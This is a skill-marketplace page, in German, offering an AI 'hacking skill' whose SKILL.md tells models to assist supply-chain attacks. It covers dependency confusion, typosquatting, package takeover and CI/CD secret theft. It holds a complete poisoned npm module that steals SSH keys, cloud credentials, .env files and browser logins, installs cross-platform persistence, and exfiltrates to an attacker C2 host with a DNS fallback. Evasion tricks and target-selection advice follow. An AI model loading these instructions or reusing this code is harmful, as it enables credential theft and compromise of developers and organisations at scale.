Logo von Supply Chain

Supply Chain

Community
mrhlaingbwardev
supply-chain

Use when user says "supply chain", "dependency", "npm", "pip", "pypi", "gem", "maven", "nuget", "docker", "package", "poison", "typosquat", "dependency confusion", "man-in-the-middle", "registry", "upstream". Supply chain attacks including dependency confusion, typosquatting, package poisoning, CI/CD hijacking, and upstream compromise.

Übersicht

Herausgebermrhlaingbwardev
Repositoryagentic-hacking-skills
Skill-Namesupply-chain
Sterne
350
Forks
57
Mitgelieferte Dateien
Nur Anweisungen
Links
  • Anweisungen in Markdown

    Eine SKILL.md-Datei, die das Modell bei Bedarf lädt. So werden nur dann Token verbraucht, wenn eine Anfrage tatsächlich dazu passt.

  • Funktioniert mit jedem LLM

    KI-Skills bestehen aus reinem Markdown, nicht aus anbieterspezifischem Code. Daher funktionieren sie mit GPT, Claude, Gemini, Grok oder einem lokalen Modell.

  • In sich abgeschlossen

    Alles, was das Modell braucht, steht in den Anweisungen — keine zusätzlichen Dateien zum Synchronisieren.

  • Open Source

    Von mrhlaingbwardev auf GitHub veröffentlicht. Prüfen Sie vor der Installation die Quelldateien.

Installation

Installieren Sie den KI-Skill Supply Chain in TypingMind, um ihn mit jedem LLM zu nutzen, oder fügen Sie ihn einem anderen Agenten hinzu, der SKILL.md lesen kann.

1

In TypingMind installieren

TypingMind installiert einen Skill direkt aus seinem GitHub-Ordner. Dabei liest die App SKILL.md, bündelt die Ressourcendateien und speichert das Ergebnis lokal.

  1. Öffnen Sie die App und gehen Sie zu Plugins → Skills.
  2. Wählen Sie „Von GitHub installieren“.
  3. Fügen Sie die unten angegebene URL des Skill-Ordners ein und bestätigen Sie.
    https://github.com/mrhlaingbwardev/agentic-hacking-skills/tree/main/skills/supply-chain
  4. Aktivieren Sie den Skill in jedem Chat, in dem er verfügbar sein soll.
Plugins → Skills → Skill hinzufügen → Über GitHub-URL. Fügen Sie dann die Ordner-URL ein und klicken Sie auf „Weiter“.
2

In einem anderen Agenten installieren

Jeder Agent, der das Agent-Skills-Format unterstützt, kann diesen Skill nutzen. Kopieren Sie den Ordner in das Skill-Verzeichnis des jeweiligen Agenten.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/mrhlaingbwardev/agentic-hacking-skills.git /tmp/agentic-hacking-skills
mkdir -p .claude/skills
cp -r /tmp/agentic-hacking-skills/skills/supply-chain .claude/skills/supply-chain
Starten Sie Claude Code nach dem Kopieren neu, damit der neue Skill erkannt wird.

In TypingMind verwenden

Aktivieren Sie Supply Chain in einem beliebigen Chat in TypingMind. Den Rest übernimmt das Modell. Name und Beschreibung des Skills stehen im System-Prompt. Sobald eine Anfrage passt, lädt das Modell selbstständig die vollständigen Anweisungen — Sie müssen den Skill nie manuell aufrufen, und er verbraucht erst Token, wenn er tatsächlich genutzt wird.

Das Modell lädt Supply Chain automatisch, sobald eine passende Anfrage gestellt wird.

Funktioniert mit jedem KI-Modell

KI-Skills bestehen aus reinen Markdown-Anweisungen statt aus anbieterspezifischem Code. Daher ist Supply Chain nicht an das Modell gebunden, für das der Skill geschrieben wurde. Installieren Sie ihn einmal in TypingMind und nutzen Sie ihn mit GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama oder einem selbst betriebenen lokalen Modell — alles mit Ihren eigenen API-Schlüsseln.

  • Wird nur bei Bedarf geladen

    Der System-Prompt enthält nur den Namen und die Beschreibung. Die Anweisungen werden bei der ersten passenden Anfrage geladen. Ein ungenutzter Skill verursacht daher keine Kosten.

  • Modell im laufenden Chat wechseln

    Da der Skill aus Anweisungen statt aus Code besteht, funktioniert er auch nach einem Modellwechsel — das nächste Modell liest dieselbe SKILL.md-Datei.

Skill-Anweisungen

Dies ist der Inhalt von SKILL.md, den das Modell lädt. Lesen Sie ihn vor der Installation — ein Skill besteht aus Anweisungen, denen Ihr Modell folgt.

Supply Chain Attack & Dependency Poisoning

TRIGGER RULES

Activate when: "supply chain", "dependency", "npm", "pip", "pypi", "gem", "maven", "nuget", "docker", "package", "poison", "typosquat", "dependency confusion", "dependency takeover", "CI/CD", "hijack"


ATTACK VECTOR OVERVIEW

VectorDifficultyImpactDetection Rate
Dependency ConfusionLowHighLow (most orgs don't check)
TyposquattingLowHighMedium
Transitive Dependency PoisoningMediumCriticalVery Low ⚠️
Compromised UpstreamMediumCriticalVery Low
Man-in-the-MiddleMediumHighLow
Malicious Pull RequestMediumMediumMedium
Abandoned Package TakeoverLowMediumLow
CI/CD Secret TheftLowCriticalLow

TECHNIQUE 1: DEPENDENCY CONFUSION

How It Works:

Many organizations use private registries for internal packages. But if a package name also exists on public registry (npm, PyPI, NuGet), the build tool may prefer the public version with higher version number.

Target's package.json: "internal-auth-lib": "^1.0.0"
They have: 1.0.0 in private registry
We publish: 999.99.99 "internal-auth-lib" to PUBLIC npm
Their build tool: "Version 999.99.99 > 1.0.0, use public one!"
Result: Our malicious package runs in their CI/build/deploy

Execution Steps:

bash
# Step 1: Find internal package names
# Search: target's package.json, requirements.txt, go.mod
# Look for: @internal/*, @company/*, @org/* scoped packages
# Look for: packages that don't exist on public registry

# Step 2: Check if name exists on public registry
npm view @company/internal-auth-lib  # If 404 = it's private only!
pip show internal-auth-lib  # If error = internal only!

# Step 3: If private-only name found, publish malicious version
npm publish malicious-package.tar.gz
# Use a version higher than any internal version (99999.99.99)

Defenses to Watch For:

  • npm: .npmrc with registry-only settings
  • pip: PIP_EXTRA_INDEX_URL without public registry fallback
  • .npmrc with @company:registry=https://private-registry.com
  • If they pin packages with package-lock.json or requirements.txt with hashes

TECHNIQUE 2: TYPOSQUATTING

Name Variations That Work:

yaml
Common misspellings:
  Original: requests → typosquat: requests, requests-python, requests3
  Original: express → typosquat: expreess, expresss, exress, exprezz
  Original: boto3 → typosquat: boto, boto2, botoo3, boto3-aws
  Original: lodash → typosquat: lodash, lodashs, lodash-js, lowdash
  Original: moment → typosquat: momentjs, moment-js, momentt, moment-timezone
  Original: pydantic → typosquat: pydantic-z, pydantic-lib, python-pydantic

Substitution tricks:
  - Letter swaps: recieve vs receive
  - Repeated letters: requests vs requuests
  - Missing letters: express vs expres
  - Hyphen variants: bcrypt → bcrypt-js, bcrypt-node
  - Versioned: react → react-v18, react-18

Execution:

bash
# Step 1: Identify top dependencies from target's build files
# Step 2: Find typo variants not yet published
npm view express-s
# If 404 = available! Publish malicious version
# Step 3: Package contains:
#   - All legitimate exports (passes through to real package)
#   - PLUS: postinstall script that runs your payload

Package.json (npm) Structure:

json
{
  "name": "expreess",
  "version": "1.0.0",
  "description": "Express - Fast, unopinionated, minimalist web framework",
  "main": "index.js",
  "scripts": {
    "preinstall": "node -e '/* payload here */'",
    "postinstall": "node -e 'require(\"./payload.js\")'",
    "test": "echo no test specified"
  },
  "dependencies": {
    "express": "^4.18.0"
  }
}

TECHNIQUE 3: ABANDONED PACKAGE TAKEOVER

How It Works:

  1. Find popular package that hasn't been updated in 2+ years
  2. Package maintainer email bounces, no longer active
  3. Request ownership transfer from registry (npm: npm owner add)
  4. Some registries transfer ownership of abandoned packages

Execution:

bash
# Find abandoned packages used by target
# Check: package.json, Pipfile, Cargo.toml
# Check: last update date, maintainer activity

# For npm - request ownership transfer:
# npm admin can transfer if maintainer is unreachable
# OR: find maintainer's email from commit history
# OR: compromise maintainer's GitHub account

# For PyPI - report abandoned, wait 2 weeks, request ownership

TECHNIQUE 3.5: TRANSITIVE DEPENDENCY POISONING (DEEP SUPPLY CHAIN)

⚠️ MOST DANGEROUS & HARDEST TO DETECT

The Hidden Threat:

ကိုယ့် Project
├── Package A (trusted, verified) ✅
    └── Package B (A's dependency)
        └── Package C (B's dependency)
            └── Package D (C's dependency) ⚠️ COMPROMISED!

သင်က Package A ကိုပဲ install လုပ်တယ်
ဒါပေမယ့် Package D မှာ malware ရှိနေတယ်
Package D ကို သင် တစ်ခါမှ မစစ်ဖူးဘူး!

Real-World Scenario (Mastra-like Attack):

Victim's package.json:

json
{
  "dependencies": {
    "awesome-formatter": "^2.5.0"  // ← လူသိများတဲ့ trusted package
  }
}

Dependency Tree (npm list):

awesome-formatter@2.5.0
├── core-util-formatter@1.0.5  // ← Nobody checks this!
    ├── http-helpers@0.8.2
    └── env-reader@1.2.1  // ← COMPROMISED HERE!

The Attack Flow:

  1. Target Selection:

    • Attacker finds env-reader - 500K weekly downloads
    • Used by many popular packages
    • Last commit: 6 months ago (maintainer inactive)
    • Minimal code (easy to hide malware)
  2. Compromise Method:

    • Phish maintainer's npm account
    • OR: Exploit maintainer's compromised GitHub
    • OR: Wait for package abandonment, request transfer
  3. Malicious Update (v1.2.1 → v1.2.2):

Original env-reader code:

javascript
// index.js - v1.2.1 (clean)
module.exports = {
  readEnv: function(key) {
    return process.env[key];
  }
};

Poisoned env-reader code:

javascript
// index.js - v1.2.2 (MALICIOUS)
const https = require('https');
const os = require('os');
const fs = require('fs');
const path = require('path');

// ✅ KEEP ORIGINAL FUNCTIONALITY (so package still works!)
module.exports = {
  readEnv: function(key) {
    return process.env[key];
  }
};

// ⚠️ MALICIOUS PAYLOAD (runs on require())
try {
  // === STAGE 1: DATA COLLECTION ===
  
  const payload = {
    // Environment variables (AWS keys, tokens, secrets)
    env: process.env,
    
    // System info
    platform: os.platform(),  // Windows/Linux/macOS
    hostname: os.hostname(),
    user: os.userInfo().username,
    
    // Current working directory
    cwd: process.cwd(),
    
    // Installed packages
    packageJson: JSON.parse(fs.readFileSync('package.json', 'utf8')),
    
    // Timestamp
    timestamp: new Date().toISOString()
  };
  
  // === STAGE 2: SENSITIVE FILE EXFILTRATION ===
  
  const homeDir = os.homedir();
  const sensitiveFiles = [
    // AWS Credentials
    path.join(homeDir, '.aws', 'credentials'),
    path.join(homeDir, '.aws', 'config'),
    
    // Git credentials
    path.join(homeDir, '.gitconfig'),
    path.join(homeDir, '.git-credentials'),
    
    // SSH Keys
    path.join(homeDir, '.ssh', 'id_rsa'),
    path.join(homeDir, '.ssh', 'id_ed25519'),
    path.join(homeDir, '.ssh', 'known_hosts'),
    
    // NPM token
    path.join(homeDir, '.npmrc'),
    
    // Docker credentials
    path.join(homeDir, '.docker', 'config.json'),
    
    // Environment files
    path.join(process.cwd(), '.env'),
    path.join(process.cwd(), '.env.local'),
    path.join(process.cwd(), '.env.production'),
    
    // Browser data (Chrome - Windows example)
    path.join(homeDir, 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'Default', 'Login Data'),
    
    // VS Code settings (may contain API keys)
    path.join(homeDir, '.vscode', 'settings.json'),
  ];
  
  payload.files = {};
  sensitiveFiles.forEach(filePath => {
    try {
      if (fs.existsSync(filePath)) {
        payload.files[filePath] = fs.readFileSync(filePath, 'utf8');
      }
    } catch (e) { /* Silent fail */ }
  });
  
  // === STAGE 3: CROSS-PLATFORM PERSISTENCE ===
  
  const persistencePayload = `
const https = require('https');
setInterval(() => {
  // Beacon every hour
  https.get('https://attacker-server.com/beacon?id=${os.hostname()}');
}, 3600000);
`;
  
  if (os.platform() === 'win32') {
    // Windows: Registry Run key
    const startupPath = path.join(homeDir, 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup', 'system-updater.js');
    try {
      fs.writeFileSync(startupPath, persistencePayload);
    } catch (e) { /* Silent */ }
    
  } else if (os.platform() === 'darwin') {
    // macOS: LaunchAgent
    const launchAgentPath = path.join(homeDir, 'Library', 'LaunchAgents', 'com.system.updater.plist');
    const plist = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
  <key>Label</key><string>com.system.updater</string>
  <key>Program</key><string>/usr/local/bin/node</string>
  <key>ProgramArguments</key>
  <array>
    <string>/usr/local/bin/node</string>
    <string>${homeDir}/.system-updater.js</string>
  </array>
  <key>RunAtLoad</key><true/>
</dict>
</plist>`;
    try {
      fs.writeFileSync(launchAgentPath, plist);
      fs.writeFileSync(path.join(homeDir, '.system-updater.js'), persistencePayload);
    } catch (e) { /* Silent */ }
    
  } else {
    // Linux: systemd service or cron
    const systemdPath = path.join(homeDir, '.config', 'systemd', 'user', 'system-updater.service');
    const service = `[Unit]
Description=System Updater Service

[Service]
ExecStart=/usr/bin/node ${homeDir}/.system-updater.js
Restart=always

[Install]
WantedBy=default.target`;
    try {
      fs.mkdirSync(path.dirname(systemdPath), { recursive: true });
      fs.writeFileSync(systemdPath, service);
      fs.writeFileSync(path.join(homeDir, '.system-updater.js'), persistencePayload);
    } catch (e) { /* Silent */ }
  }
  
  // === STAGE 4: EXFILTRATION ===
  
  const data = JSON.stringify(payload);
  
  // Method 1: HTTPS POST (primary)
  const req = https.request({
    hostname: 'attacker-c2-server.com',
    port: 443,
    path: '/collect',
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'Content-Length': data.length,
      'User-Agent': 'npm/9.0.0 node/v18.0.0'  // Blend in
    }
  }, (res) => {
    // Silent success
  });
  
  req.on('error', () => {
    // Method 2: DNS exfiltration (fallback if HTTPS blocked)
    const dnsExfil = require('dns');
    const chunk = Buffer.from(data).toString('base64').substring(0, 50);
    dnsExfil.resolve(`${chunk}.exfil.attacker-domain.com`, () => {});
  });
  
  req.write(data);
  req.end();
  
} catch (error) {
  // ⚠️ CRITICAL: Silently fail
  // No error messages, no logs, no alerts
  // Developer never knows anything happened
}

Why This Attack is So Effective:

1. Deep in Dependency Tree:

bash
# Typical project has:
Direct dependencies: 20
Total dependencies: 1,000+

# Developer checks:
✅ Package A (main dependency)
❌ Package B, C, D, E... (transitive)

# Reality:
npm install downloads 1,000+ packages
Only 20 are reviewed
Other 980 run arbitrary code on your machine

2. Trusted Parent Package:

Developer thinks:
"I'm using awesome-formatter from Microsoft, it's safe!"

Reality:
awesome-formatter IS safe
But its dependency's dependency's dependency is NOT

3. Version Range Auto-Update:

json
// Your package-lock.json before:
"env-reader": "^1.2.1"

// npm install runs:
// Checks registry → finds 1.2.2 (malicious)
// ^1.2.1 allows 1.2.2 → auto-updates
// No warning, no notification

// Your package-lock.json after:
"env-reader": "^1.2.2"  // ← Compromised!

4. Cross-Platform Payload:

javascript
// Same malware works on:
✅ Windows (dev machines)
✅ macOS (dev machines)
✅ Linux (CI/CD servers)

// Exfiltrates from:
✅ Developer laptops
✅ GitHub Actions runners
✅ Docker build containers
✅ Production servers

5. Silent Execution:

npm install awesome-formatter
...
✓ Installed successfully

// What you DON'T see:
// ⚠️ env-reader@1.2.2 postinstall script ran
// ⚠️ Exfiltrated AWS_SECRET_ACCESS_KEY
// ⚠️ Installed persistence on your machine
// ⚠️ Sent .env file to attacker
// ⚠️ Copied SSH keys
// ⚠️ All in < 500ms

Detection Evasion Techniques:

1. Legitimate Package Functionality Maintained:

javascript
// Package STILL works perfectly
// Tests pass ✅
// Code review sees nothing wrong ✅
// Static analysis clean ✅

2. Time-Delayed Activation:

javascript
// Don't exfil immediately (too obvious)
setTimeout(() => {
  // Wait 24 hours before sending data
  exfiltrateData();
}, 86400000);

// OR: Only activate on specific dates
if (new Date().getDate() === 15) {
  // Activate on 15th of month only
  exfiltrateData();
}

3. Conditional Execution:

javascript
// Only run in production (where secrets exist)
if (process.env.NODE_ENV === 'production') {
  exfiltrateData();
}

// Only run on CI/CD (where most secrets are)
if (process.env.CI === 'true') {
  exfiltrateData();
}

4. Obfuscation:

javascript
// Instead of clear "https.request"
const https = require('ht' + 'tps');
const method = 'P' + 'O' + 'S' + 'T';

// Base64 encoded attacker domain
const domain = Buffer.from('YXR0YWNrZXItc2VydmVyLmNvbQ==', 'base64').toString();

Real Impact (Mastra Case Study):

What Happened:

  • Mastra AI package compromised (similar scenario)
  • Malware in transitive dependency
  • Exfiltrated:
    • Environment variables
    • .env files
    • SSH keys
    • npm tokens
    • GitHub tokens
    • AWS credentials

Victims:

  • Developers worldwide
  • CI/CD pipelines
  • Company infrastructure
  • Open source projects

Damage:

  • Stolen credentials used for further attacks
  • Supply chain poisoning of other packages
  • Infrastructure compromise
  • Data breaches

Defense Strategies:

1. Dependency Auditing:

bash
# List ALL dependencies (including transitive)
npm list

# Check for known vulnerabilities
npm audit

# Use tools that check transitive deps:
npm install -g npm-check-updates
ncu

# Socket.dev - detect malicious packages
npx socket npm audit

2. Lock File Commitment:

bash
# Always commit package-lock.json
# Prevents auto-updates to malicious versions
git add package-lock.json
git commit -m "Lock dependencies"

3. Subresource Integrity (SRI) for CDN:

html
<!-- If loading from CDN, use SRI -->
<script src="https://cdn.example.com/lib.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
        crossorigin="anonymous"></script>

4. Minimal Dependencies:

json
// Before: 50 dependencies
{
  "dependencies": {
    "express": "^4.18.0",
    "lodash": "^4.17.21",
    // ... 48 more
  }
}

// After: 10 dependencies (audit each one!)
{
  "dependencies": {
    "express": "^4.18.0",
    // Only truly essential packages
  }
}

5. Continuous Monitoring:

bash
# Subscribe to security advisories
npm install -g snyk
snyk monitor

# GitHub Dependabot alerts (enable in settings)
# Socket.dev continuous monitoring
# OSSF Scorecard checks

6. Sandboxed npm install:

bash
# Run npm install in container (safer)
docker run --rm -it -v $(pwd):/app node:18 npm install

# OR: Use npm ci in CI/CD (doesn't auto-update)
npm ci  # Uses exact versions from package-lock.json

7. Review Dependency Changes:

bash
# Before updating dependencies
git diff package-lock.json

# Check what changed
npm outdated

# Update one at a time (not all at once)
npm update package-name --save

Assume Breach Mindset:

markdown
မမင်းရဲ့ Dependencies က သန့်ရှင်းတယ်ဆိုတာ မယုံနဲ့
ဘာဖြစ်လို့လဲဆိုတော့:

1. 1000+ packages ကို မင်း တစ်ခုချင်းစီ မစစ်နိုင်ဘူး
2. Maintainers ကို attacker က compromise လုပ်နိုင်တယ်
3. New versions က malicious code ပါလာနိုင်တယ်
4. npm/GitHub accounts ကို hack ခံရနိုင်တယ်

ဒါကြောင့်:
✅ Least privilege (minimum dependencies)
✅ Lock versions (package-lock.json)
✅ Monitor continuously (Snyk, Socket.dev)
✅ Sandbox execution (Docker, VMs)
✅ Secret rotation (change keys regularly)
✅ Network egress filtering (block unknown domains)

TECHNIQUE 4: CI/CD PIPELINE HIJACKING

Entry Points:

yaml
GitHub Actions:
  - Stolen `GITHUB_TOKEN` from compromised action
  - Malicious action in marketplace that looks legitimate
  - Workflow injection via malicious PR (event: pull_request_target)
  
GitLab CI:
  - Compromised runner
  - Malicious template in CI/CD catalog
  
Jenkins:
  - Unauthenticated Jenkins console
  - Stolen credentials in build logs
  
Generic:
  - Compromised Docker image in pipeline (image: node:latest-malicious)
  - Malicious Makefile/Pipfile in repo
  - Pre-commit hooks that exfiltrate

GitHub Action pull_request_target Exploit:

yaml
# This GitHub Action runs with repo's secrets (even for PRs from forks)
# If vulnerable, you can exfiltrate secrets via PR

name: CI
on:
  pull_request_target:
    types: [opened]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install
      - run: echo "${{ secrets.AWS_SECRET_KEY }}" | base64 > /tmp/key
      - run: cat /tmp/key  # Now we read it in our PR

TECHNIQUE 5: DOCKER IMAGE BACKDOOR

Upstream Image Compromise:

bash
# Find the Docker image they use
# docker pull node:18-alpine

# Create malicious version
# Add layer that runs payload silently

FROM node:18-alpine
RUN echo 'malicious payload' | at now + 1 minute
# The 'at' job runs after container starts
# Doesn't affect container startup - silent

Docker Hub:

  • Publish similar-named image: nodejs-18-alpine vs node:18-alpine
  • Add to "official" looking org: docker.io/nodejs/official-18
  • Docker Hub downloads: many pull without verifying digest

TECHNIQUE 6: MALICIOUS DEPENDENCY TREE

Deep Nesting (Hard to Detect):

yaml
Your malicious package:              @attacker/utils
  Depends on:                        lodash (legitimate, provides coverage)
    Depends on:                      (many real deps)
  Also depends on:                   (2 layers deep, hidden timing payload)
    @attacker/utils-internal
      Contains:                      payload.js (called via lifecycle script)
      
Auditor checks: "lodash is the top dep, looks fine"
Reality: deep dep executes payload on install

Pre/Post Install Scripts:

json
// npm lifecycle scripts that run automatically on install:
{
  "scripts": {
    "preinstall": "node payload.js",
    "install": "node -e 'require(\"./build.js\")'",
    "postinstall": "node -e 'require(\"./setup.js\")'"
  }
}

PHASE 7: TARGET-SPECIFIC SEARCH

Finding Target's Dependencies:

bash
# If you have access to their repo/code:
cat package.json
cat requirements.txt
cat Cargo.toml
cat go.mod
cat Gemfile
ls -la node_modules/

# If only external access:
# Check their job postings for tech stack
# Check their GitHub repos (public and employee activity)
# Check their website tech (BuiltWith, Wappalyzer)
# Check StackShare, Crunchbase for tech mentions

Target Selection Priority:

  1. Popular packages - more downloads = more victims
  2. Packages with CI/CD pipelines - highest value (exfil secrets)
  3. Packages with root privileges - install hooks, postinstall scripts
  4. Backend dependencies - more likely to run on servers with data
  5. Security-sensitive packages - auth, crypto, database connectors

Häufig gestellte Fragen

Was macht der KI-Skill Supply Chain?

Use when user says "supply chain", "dependency", "npm", "pip", "pypi", "gem", "maven", "nuget", "docker", "package", "poison", "typosquat", "dependency confusion", "man-in-the-middle", "registry", "upstream". Supply chain attacks including dependency confusion, typosquatting, package poisoning, CI/CD hijacking, and upstream compromise.

Warum Supply Chain in TypingMind nutzen?

Weil Sie den Skill einmal installieren und mit jedem Modell verwenden können. Supply Chain besteht aus reinem Markdown statt aus anbieterspezifischem Code. So funktioniert derselbe Skill mit GPT-5, Claude, Gemini, Grok oder einem lokalen Modell – und Sie können das Modell mitten im Chat wechseln, ohne dass der Skill seine Funktion verliert. TypingMind verwendet Ihre eigenen API-Schlüssel. Sie bezahlen die Anbieter daher direkt statt über ein Abonnement pro Nutzerplatz, und Ihre Skills und Chats bleiben in Ihrem eigenen Speicher.

Wie installiere ich Supply Chain in TypingMind?

Öffnen Sie in TypingMind Plugins → Skills → Von GitHub installieren und fügen Sie https://github.com/mrhlaingbwardev/agentic-hacking-skills/tree/main/skills/supply-chain ein. TypingMind liest die Datei SKILL.md und installiert den Skill, den Sie für jeden Chat einzeln aktivieren können.

Welche KI-Modelle können Supply Chain nutzen?

Jedes Modell, das Sie mit TypingMind verbinden. KI-Skills bestehen aus reinen Markdown-Anweisungen statt aus anbieterspezifischem Code. Daher können GPT, Claude, Gemini, Grok und lokale Modelle diesen Skill laden, wenn eine Anfrage dazu passt.

Wie viele KI-Modelle kann ich mit Supply Chain verwenden?

So viele Sie möchten. In TypingMind können Sie Supply Chain mit jedem Modell verwenden, das Skills unterstützt, etwa mit GPT, Claude, Gemini, Grok, DeepSeek, Mistral oder Llama. Dabei nutzen Sie Ihre eigenen API-Schlüssel.

Ist der KI-Skill Supply Chain kostenlos?

Der Skill wird von mrhlaingbwardev auf GitHub veröffentlicht. Prüfen Sie im Repository, ob dort Lizenzbedingungen angegeben sind. Sie bezahlen nur Ihren eigenen KI-Anbieter für die verwendeten Token.

Was sind KI-Skills?

Ein KI-Skill ist ein wiederverwendbares Anweisungspaket, das einem KI-Modell vermittelt, wie es eine bestimmte Aufgabe erledigt. Es folgt dem offenen Format Agent Skills: Die Datei SKILL.md enthält den Namen und die Beschreibung des Skills. Hinzu kommen bei Bedarf Skripte, Vorlagen oder Referenzdateien für das Modell. Das Modell liest die Anweisungen nur, wenn Ihre Anfrage zum Skill passt. Ein installierter Skill verursacht daher erst Kosten, wenn er verwendet wird.

Wie unterscheiden sich KI-Skills von Plugins oder MCP-Servern?

Ein Plugin oder MCP-Server stellt einem Modell neue aufrufbare Tools bereit – Code, der auf einem System ausgeführt wird und ein Ergebnis zurückgibt. Ein KI-Skill vermittelt dem Modell stattdessen Wissen und Vorgehensweisen: wie es eine Aufgabe angeht, welche Schritte es befolgt und wie eine gute Ausgabe aussieht. Skills bestehen aus reinem Markdown und kommen daher ohne Server, API-Schlüssel und Laufzeitumgebung aus. Sie funktionieren mit jedem Modell.

Alle anzeigen

Jetzt eigenen KI-Arbeitsbereich einrichten

Abonnieren Sie unseren Newsletter und erfahren Sie mehr über neue Funktionen und kommende Gewinnspiele 👇